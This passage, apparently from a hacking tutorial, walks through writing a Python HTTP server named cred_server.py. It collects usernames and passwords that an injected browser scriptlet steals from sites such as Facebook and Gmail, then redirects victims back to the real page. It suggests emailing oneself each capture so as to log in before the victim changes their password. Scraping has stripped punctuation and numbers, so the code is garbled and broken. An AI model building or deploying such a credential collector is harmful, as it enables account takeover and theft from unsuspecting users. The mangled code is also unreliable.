now that we've set up our attack scriptlet' create very simple http server to collect the credentials as they're submitted crack open new file called cred_server py and drop in the following codeimport simplehttpserver import socketserver import urllib class credrequesthandler(simplehttpserver simplehttprequesthandler)def do_post(self)content_length int(self headers['content-length']creds self rfile read(content_lengthdecode('utf- 'print creds site self path[ :self send_response( self send_header('location',urllib unquote(site)self end_headers(server socketserver tcpserver(( ' )credrequesthandlerserver serve_forever(this simple snippet of code is our specially designed http server we initialize the base tcpserver class with the ipportand credrequesthandler class that will be responsible for handling the http post requests when our server receives request from the target' browserwe read the content-length header to determine the size of the requestand then we read in the contents of the request and print them out we then parse out the originating site (facebookgmailetc and force the target browser to redirect back to the main page of the target site an additional feature you could add here is to send yourself an email every time credentials are received so that you can attempt to log in using the target' credentials before they have chance to change their password let' take it for spin